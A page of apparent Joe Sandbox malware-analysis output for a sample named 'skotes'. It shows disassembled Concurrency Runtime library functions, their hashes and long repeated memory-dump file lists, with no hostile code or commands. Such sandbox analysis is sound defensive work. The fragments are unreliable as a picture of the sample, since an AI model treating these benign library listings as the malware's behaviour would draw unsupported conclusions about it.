Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 09cf527c557d18449f2e23cb4e9f5d7895ac36b3c3a230e9ab4519bfa91ce72e
Instruction ID: 09b46e2d73494dacfce12123f5a2646674466989527bd9c0afab27f51b308f50
Opcode Fuzzy Hash: 09cf527c557d18449f2e23cb4e9f5d7895ac36b3c3a230e9ab4519bfa91ce72e
Instruction Fuzzy Hash: 4A113A35A601109BCB15EF18C886E6DB3A5AF86360B15426DED02A7343CB70DD35CFD0

Function 002B0C5C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_NonReentrantLock::_Acquire.LIBCONCRT ref: 002B0CD7
Concurrency::details::ResourceManager::ResourceManager.LIBCONCRT ref: 002B0D2A

Strings

p[/, xrefs: 002B0CCF

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$AcquireConcurrency::details::Concurrency::details::_Lock::_ManagerManager::Reentrant
String ID: p[/
API String ID: 3303180142-1496189060
Opcode ID: ed75da8bc5b985739f4049955f326043c220406aa16f77a864de8ea4f35a8c0f
Instruction ID: 12f74400ac3bb6fa7cbe9bf541518815ff94bf5854736ff55ce6b4fdb84c685f
Opcode Fuzzy Hash: ed75da8bc5b985739f4049955f326043c220406aa16f77a864de8ea4f35a8c0f
Instruction Fuzzy Hash: CC01B9309356169BDB12AFF8A5953AE6AE0BF053D4F50446EF505E7282CF704E608F51

Function 002ACAD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

CreateSemaphoreExW.KERNEL32(?,002B65E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 002ACAFC
CreateSemaphoreW.KERNEL32(?,002B65E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 002ACB1E

Strings

e+, xrefs: 002ACB12, 002ACAF0

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSemaphore
String ID: e+
API String ID: 1078844751-1342698046
Opcode ID: 318975d925ffe4e21297027229ce4ceac61b22565956d80f53d867605ebb7ba4
Instruction ID: 20f91073ba70215c2be69af205d9f22c1067233db2d6d5c81da4b5da805f3332
Opcode Fuzzy Hash: 318975d925ffe4e21297027229ce4ceac61b22565956d80f53d867605ebb7ba4
Instruction Fuzzy Hash: ACF01736511129ABCF124F40EC488AE7F66EB08761B154420FE1556130CA729871EFA0

Function 002BB92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 002BB94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 002BB961

Strings

pContext, xrefs: 002BB959

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: 9a2c22eac71dad1489def6eded1520b55eb35d046023f51e9ca8e524133c37ac
Instruction ID: 23fe3180e457f2e825335b9525afb32fbedf6881a6811d05b97224ebad8c6ead
Opcode Fuzzy Hash: 9a2c22eac71dad1489def6eded1520b55eb35d046023f51e9ca8e524133c37ac
Instruction Fuzzy Hash: 9AE06839B5020467CB00FB65E88AC9DB7B8AFC1714750412AEA11E3381EFB0AE31CED0

Function 002B34CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 002B34FC

Strings

pScheduler, xrefs: 002B34F4
version, xrefs: 002B34E1

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
